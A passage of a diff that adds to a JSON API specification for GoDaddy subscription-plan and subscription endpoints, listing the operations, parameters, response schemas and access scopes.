[ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money", + "type": "object" + }, + "pricingModel": { + "const": "FIXED_RECURRING", + "type": "string" + }, + "trialDays": { + "description": "Number of days the customer gets free access before the first charge. Payment info is collected upfront. Re-subscriptions skip the trial.\n", + "maximum": 365, + "minimum": 1, + "type": "integer" + } + }, + "required": [ + "pricingModel", + "billingCycle", + "price" + ], + "title": "Fixed Recurring Pricing", + "type": "object" + } + ], + "title": "Pricing Model" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the subscription plan. E.g. ACTIVE, DRAFT, DEPRECATED, DISCONTINUED", + "type": "string", + "x-server-pattern": "^(ACTIVE|DRAFT|DEPRECATED|DISCONTINUED)$" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name", + "pricing" + ], + "title": "Subscription Plan", + "type": "object" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.subscription-plan:read" + ] + }, + { + "operationId": "updatePlan", + "method": "PATCH", + "path": "/plans/{planId}", + "summary": "Update Subscription Plan", + "description": "Update Subscription Plan", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "planId", + "in": "path", + "required": true, + "description": "The plan ID", + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "items": { + "$id": "https://godaddy.com/schemas/common/patch-request.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An array of JSON patch objects to apply partial updates to resources.", + "items": { + "$id": "https://godaddy.com/schemas/common/patch.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The JSON patch object to apply partial updates to resources.", + "properties": { + "from": { + "description": "The JSON pointer to the target document location from which to move the value. Required for the `move` operation.", + "type": "string" + }, + "op": { + "description": "The operation to complete.", + "enum": [ + "add", + "remove", + "replace", + "move", + "copy", + "test" + ], + "type": "string" + }, + "path": { + "description": "The JSON pointer to the target document location at which to complete the operation.", + "type": "string" + }, + "value": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "integer" + }, + { + "type": "string" + }, + { + "type": "boolean" + }, + { + "items": {}, + "type": "array" + }, + { + "type": "object" + } + ], + "description": "The value to apply. The `remove` operation does not require a value.", + "nullable": true + } + }, + "required": [ + "op" + ], + "title": "Patch", + "type": "object" + }, + "title": "Patch Request", + "type": "array" + }, + "type": "array" + } + }, + "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "200": { + "description": "Plan updated", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/subscription-plan.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a Subscription Plan that can be purchased by a customer. Supports free plans, fixed recurring pricing, and trial periods.\n", + "properties": { + "applicationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "applicationType": { + "description": "The type of the application the plan is created for. E.g. GODADDY_APP", + "type": "string", + "x-server-pattern": "^(GODADDY_APP)$" + }, + "billingProvider": { + "description": "Identifies which external billing system the billingReferenceId belongs to. Acceptable values: POYNT_BILLING, GODADDY_ECOMM.\n", + "type": "string", + "x-server-pattern": "^(POYNT_BILLING|GODADDY_ECOMM)$" + }, + "billingReferenceId": { + "description": "The identifier for this plan in the external billing system used for checkout and payment processing. Today this is a Poynt Billing plan ID.\n", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "description": { + "description": "Detailed description of what the subscription plan provides", + "maxLength": 1000, + "type": "string" + }, + "displayName": { + "description": "The display name of the subscription plan shown to customers", + "maxLength": 200, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "marketingData": { + "additionalProperties": true, + "description": "Marketing information for the subscription plan", + "properties": { + "features": { + "description": "List of marketing features to highlight", + "items": { + "type": "string" + }, + "type": "array" + }, + "headline": { + "description": "Main marketing headline for the plan", + "maxLength": 200, + "type": "string" + }, + "shortDescription": { + "description": "Short marketing description (1-2 sentences)", + "maxLength": 500, + "type": "string" + } + }, + "type": "object" + }, + "name": { + "description": "The reference key of the subscription plan. For GODADDY_APP plans, unique per applicationId.\n", + "maxLength": 100, + "type": "string" + }, + "pricing": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/pricing-model.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Polymorphic pricing configuration for a subscription plan. The pricingModel field acts as the discriminator to determine which pricing schema applies.\n", + "discriminator": { + "mapping": { + "FIXED_RECURRING": "./FixedRecurringPricing.yaml", + "FREE": "./FreePricing.yaml" + }, + "propertyName": "pricingModel" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/free-pricing.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Pricing configuration for a free plan. No charge, entitlement only. No billing cycle, price, or trial fields are applicable.\n", + "properties": { + "pricingModel": { + "const": "FREE", + "type": "string" + } + }, + "required": [ + "pricingModel" + ], + "title": "Free Pricing", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/fixed-recurring-pricing.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Pricing configuration for a fixed recurring plan. A fixed amount is charged on a recurring billing cycle.\n", + "properties": { + "billingCycle": { + "description": "The recurring interval at which the plan is billed.", + "type": "string", + "x-server-pattern": "^(WEEKLY|MONTHLY|YEARLY)$" + }, + "price": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money", + "type": "object" + }, + "pricingModel": { + "const": "FIXED_RECURRING", + "type": "string" + }, + "trialDays": { + "description": "Number of days the customer gets free access before the first charge. Payment info is collected upfront. Re-subscriptions skip the trial.\n", + "maximum": 365, + "minimum": 1, + "type": "integer" + } + }, + "required": [ + "pricingModel", + "billingCycle", + "price" + ], + "title": "Fixed Recurring Pricing", + "type": "object" + } + ], + "title": "Pricing Model" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the subscription plan. E.g. ACTIVE, DRAFT, DEPRECATED, DISCONTINUED", + "type": "string", + "x-server-pattern": "^(ACTIVE|DRAFT|DEPRECATED|DISCONTINUED)$" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name", + "pricing" + ], + "title": "Subscription Plan", + "type": "object" + } + } + }, + "scopes": [ + "commerce.subscription-plan:update" + ] + }, + { + "operationId": "getSubscriptions", + "method": "GET", + "path": "/subscriptions", + "summary": "Get Subscriptions", + "description": "Retrieve the subscriptions by params", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "customerId", + "in": "query", + "required": false, + "description": "Customer ID", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "businessId", + "in": "query", + "required": false, + "description": "Business ID", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "applicationId", + "in": "query", + "required": false, + "description": "Godaddy Platform Application ID", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "storeId", + "in": "query", + "required": false, + "description": "Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "planId", + "in": "query", + "required": false, + "description": "Filter subscriptions by plan ID", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "status", + "in": "query", + "required": false, + "description": "Status of the subscription", + "schema": { + "default": "ACTIVE", + "description": "The status of the subscription. E.g. ACTIVE, PENDING, SUSPENDED, CANCELLED. Default is ACTIVE.", + "pattern": "^(PENDING|ACTIVE|SUSPENDED|CANCELLED)$", + "type": "string" + } + }, + { + "name": "type", + "in": "query", + "required": false, + "description": "Type of the subscription. Possible values are GODADDY_ECOMM, POYNT_BUNDLE, CUSTOM, GODADDY_APP.", + "schema": { + "default": "GODADDY_ECOMM,POYNT_BUNDLE,CUSTOM", + "description": "The type of the subscription. E.g. GODADDY_ECOMM, POYNT_BUNDLE, CUSTOM, GODADDY_APP. Default: GODADDY_ECOMM,POYNT_BUNDLE,CUSTOM", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "200": { + "description": "Subscriptions Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/subscription-list.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a list of subscriptions", + "properties": { + "items": { + "description": "Array containing the current page of subscriptions", + "items": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/subscription.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a Subscription that can be applied at Business or Store level", + "properties": { + "applicationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "businessId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "customerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "entitlementId": { + "description": "The identifier of the entitlement, if attached to one", + "type": "string" + }, + "expiresAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "planId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the subscription. E.g. ACTIVE, PENDING, SUSPENDED, CANCELLED. Default is ACTIVE.", + "type": "string", + "x-server-pattern": "^(PENDING|ACTIVE|SUSPENDED|CANCELLED)$" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "subscriptionPlanRef": { + "description": "The reference key of the plan or product subscribed to", + "type": "string" + }, + "type": { + "description": "The type of the subscription. E.g. GODADDY_ECOMM, POYNT_BUNDLE, CUSTOM, GODADDY_APP", + "type": "string", + "x-server-pattern": "^(GODADDY_ECOMM|POYNT_BUNDLE|CUSTOM|GODADDY_APP)$" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "subscriptionPlanRef" + ], + "title": "Subscription", + "type": "object" + }, + "type": "array" + }, + "links": { + "description": "Array of HATEOAS link relations that should be used to navigate across pages of Subscriptions", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "totalItems": { + "description": "Total number of Subscriptions matching the search criteria. Returned only when totalRequired is set to true.", + "type": "integer" + }, + "totalPages": { + "description": "Total number of pages matching the search criteria. Returned only when totalRequired is set to true.", + "type": "integer" + } + }, + "title": "Subscription List", + "type": "object" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.subscription:read", + "commerce.store:read", + "commerce.business:read" + ] + }, + { + "operationId": "createSubscription", + "method": "POST", + "path": "/subscriptions", + "summary": "Create Subscription", + "description": "Create Subscription", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/subscription.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a Subscription that can be applied at Business or Store level", + "properties": { + "applicationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "businessId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "customerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "entitlementId": { + "description": "The identifier of the entitlement, if attached to one", + "type": "string" + }, + "expiresAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "planId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the subscription. E.g. ACTIVE, PENDING, SUSPENDED, CANCELLED. Default is ACTIVE.", + "type": "string", + "x-server-pattern": "^(PENDING|ACTIVE|SUSPENDED|CANCELLED)$" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "subscriptionPlanRef": { + "description": "The reference key of the plan or product subscribed to", + "type": "string" + }, + "type": { + "description": "The type of the subscription. E.g. GODADDY_ECOMM, POYNT_BUNDLE, CUSTOM, GODADDY_APP", + "type": "string", + "x-server-pattern": "^(GODADDY_ECOMM|POYNT_BUNDLE|CUSTOM|GODADDY_APP)$" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "subscriptionPlanRef" + ], + "title": "Subscription", + "type": "object" + } + }, + "responses": { + "201": { + "description": "Subscription Created", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/subscription.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a Subscription that can be applied at Business or Store level", + "properties": { + "applicationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "businessId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "customerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "entitlementId": { + "description": "The identifier of the entitlement, if attached to one", + "type": "string" + }, + "expiresAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "planId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the subscription. E.g. ACTIVE, PENDING, SUSPENDED, CANCELLED. Default is ACTIVE.", + "type": "string", + "x-server-pattern": "^(PENDING|ACTIVE|SUSPENDED|CANCELLED)$" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "subscriptionPlanRef": { + "description": "The reference key of the plan or product subscribed to", + "type": "string" + }, + "type": { + "description": "The type of the subscription. E.g. GODADDY_ECOMM, POYNT_BUNDLE, CUSTOM, GODADDY_APP", + "type": "string", + "x-server-pattern": "^(GODADDY_ECOMM|POYNT_BUNDLE|CUSTOM|GODADDY_APP)$" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "subscriptionPlanRef" + ], + "title": "Subscription", + "type": "object" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.subscription:create", + "commerce.store:update", + "commerce.business:update" + ] + }, + { + "operationId": "getSubscriptionById", + "method": "GET", + "path": "/subscriptions/{subscriptionId}", + "summary": "Get Subscription", + "description": "Retrieve the information of the Subscription by ID.", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "storeId", + "in": "query", + "required": false, + "description": "Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "subscriptionId", + "in": "path", + "required": true, + "description": "The subscription ID", + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Subscription Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/subscription.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a Subscription that can be applied at Business or Store level", + "properties": { + "applicationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "businessId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "customerId": { + "$id": 